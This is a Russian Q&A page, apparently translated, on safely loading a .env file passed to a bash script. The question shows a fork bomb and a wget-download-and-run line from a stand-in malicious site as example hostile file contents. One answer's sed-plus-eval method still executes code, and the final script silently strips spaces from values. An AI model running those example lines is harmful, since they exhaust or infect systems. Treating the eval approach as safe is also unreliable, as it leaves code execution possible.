Как безопасно загрузить файл .env, переданный через аргумент командной строки?

Вопрос или проблема

У меня есть следующий скрипт:

#!/usr/bin/env bash

if [ "$#" -eq 0 ]; then
  echo "Аргумент не был предоставлен"
  exit -1
fi

ENV_FILE=$1

source $ENV_FILE

Как вы можете видеть, пользователь скрипта предоставляет файл .env, который должен содержать переменные окружения. $ENV_FILE содержит путь к файлу .env, который содержит переменные окружения.

Для моего скрипта файл .env должен содержать пары ключ-значение, такие как:

KEY1=VALUE1
KEY2=VALUE2
KEY3=VALUE3

Но в приведённом выше коде кажется плохой идеей просто source случайный текстовый файл, который предоставляется для переменной окружения.

Например, если файл .env содержит:

KEY1=VALUE1
KEY2=VALUE2
KEY3=VALUE3

:(){ :|: & };:

Или если он содержит что-то вроде:

KEY1=VALUE1
KEY2=VALUE2
KEY3=VALUE3

wget https://malicisoussite.com/mallware -o /usr/bin/mallware
chmod +x ./mallware
./mallware

Как вы можете видеть, команда source просто загружает файл .env как bash-скрипт. Следовательно, он может содержать вредоносный код, а не только ожидаемое присвоение переменной окружения.

Так как я могу убедиться, что файл содержит только пары KEY=VALUE?

Один из способов очистить ваш ввод:

#!/usr/bin/env bash

### Ваш предыдущий код здесь ###

env_file=$1

if ! perl -ne '/^\w+=[\047\042\w\s\.-]+\s*$|^\s*$/
        or die "Подозрительная строка $_"' "$env_file"
then
    msg="Обнаружен подозрительный файл источника из $env_file"
    logger -t $0 "$msg"
    mail -s "$0 $msg" [email protected] < "$env_file"
    exit 1
else
    . "$env_file"
fi

Это позволяет только варианты:

key=value
KEY='VALUE'
Key="v"
K_e_y=value
k=v 
k=_v_a_l_u_e
k=v-a-l-u-e
k='v a l u e'
...

Регулярное выражение соответствует следующим образом:

Узел Объяснение
^ начало строки
\w+ символьные символы (a-z, A-Z, 0-9, _) (1 или более раз (максимальное соответствие))
= =
[\047\042\w\s\.-]+ любой символ: ‘\047’, ‘\042’, символьные символы (a-z, A-Z, 0-9, _), пробелы (\n, \r, \t, \f и ” “), ‘.’, ‘-‘ (1 или более раз (максимальное соответствие))
\s* пробелы (\n, \r, \t, \f и ” “) (0 или более раз (максимальное соответствие))
$ перед необязательным \n и конец строки
| ИЛИ
^ начало строки
\s* пробелы (\n, \r, \t, \f и ” “) (0 или более раз (максимальное соответствие))
$ перед необязательным \n и конец строки

Лучший подход, по моему мнению, это:

https://askubuntu.com/a/886884

Мы используем типичный sed и eval для предоставления переменных окружения:

#!/usr/bin/env bash

if [ "$#" -eq 0 ]; then
  echo "Аргумент не был предоставлен"
  exit -1
fi

ENV_FILE=$1

if [ ! -f "$ENV_FILE" ]; then
  echo "Файл ENV не был предоставлен"
  exit -1
fi

ENV_CONTENT=$(cat $ENV_FILE | sed -r '/[^=]+=[^=]+/!d' | sed -r 's/\s+=\s/=/g')
eval $ENV_CONTENT

Если eval не поддерживается, то:

#!/usr/bin/env bash

if [ "$#" -eq 0 ]; then
  echo "Аргумент не был предоставлен"
  exit -1
fi

ENV_FILE=$1

if [ ! -f "$ENV_FILE" ]; then
  echo "Файл ENV не был предоставлен"
  exit -1
fi

cat $ENV_FILE | sed -r '/[^=]+=[^=]+/!d' | sed -r 's/\s+=\s/=/g' > $ENV_FILE.sane

source $ENV_FILE.sane

Ответ или решение

Безопасная загрузка .env файла из аргументов командной строки в Bash скрипте

Вместо выполнения прямого source с файла .env, что может привести к выполнению потенциально вредоносных команд, необходимо разработать безопасный метод для загрузки переменных окружения из этого файла.

Проблема

При использовании команды source, Bash интерпретирует содержимое указанного файла как код, что может быть рискованно, если файл был скомпрометирован. В результате может произойти непредсказуемое поведение системы или даже удаление данных.

Решение

  1. Проверка на существование файла:
    Прежде всего, необходимо убедиться, что указанный файл существует.

  2. Валидация содержимого файла:
    Применение регулярных выражений для проверки строк в файле позволяет удостовериться, что каждая из них соответствует требуемому формату KEY=VALUE.

  3. Безопасная загрузка переменных:
    Если валидация пройдена, можно безопасно загрузить переменные окружения.

Пример кода

Ниже приведен пример скрипта с безопасной загрузкой файла .env:

#!/usr/bin/env bash

if [ "$#" -eq 0 ]; then
  echo "Не передан аргумент"
  exit 1
fi

ENV_FILE=$1

if [ ! -f "$ENV_FILE" ]; then
  echo "Файл окружения не найден"
  exit 1
fi

# Функция для проверки содержимого файла
check_env_file() {
    local file=$1
    while IFS= read -r line; do
        if ! [[ "$line" =~ ^[[:space:]]*([a-zA-Z_][a-zA-Z0-9_]*)=[[:space:]]*([^=].*)?$ ]] && ! [[ "$line" =~ ^[[:space:]]*$ ]]; then
            echo "Обнаружена подозрительная строка: $line"
            return 1
        fi
    done < "$file"
    return 0
}

# Проверка файла окружения
if ! check_env_file "$ENV_FILE"; then
    echo "Файл окружения не прошел проверку безопасности"
    exit 1
fi

# Безопасное считывание переменных
while IFS='=' read -r key value; do
    if [[ $key =~ ^[a-zA-Z_][a-zA-Z0-9_]*$ ]]; then
        # Удаление пробелов по краям
        key="${key//[$'\t\r\n ']/}"
        value="${value//[$'\t\r\n ']/}"
        export "$key=$value"
    fi
done < "$ENV_FILE"

Объяснение кода

  1. Проверка аргумента:
    Проверяется наличие переданного файла.

  2. Валидация файла .env:
    Функция check_env_file читает файл построчно и проверяет соответствие каждой строки формату ключ-значение.

  3. Считывание и экспорт значений:
    После успешной проверки, файл считывается, пробелы удаляются, и переменные экспортируются в окружение.

Заключение

Данный подход обеспечивает надежную и безопасную загрузку переменных окружения из файла .env. Необходимо всегда подходить к выполнению внешних файлов с осторожностью, ведь безопасность систем является первоочередной задачей для IT-специалистов.

Оцените материал
Добавить комментарий

Капча загружается...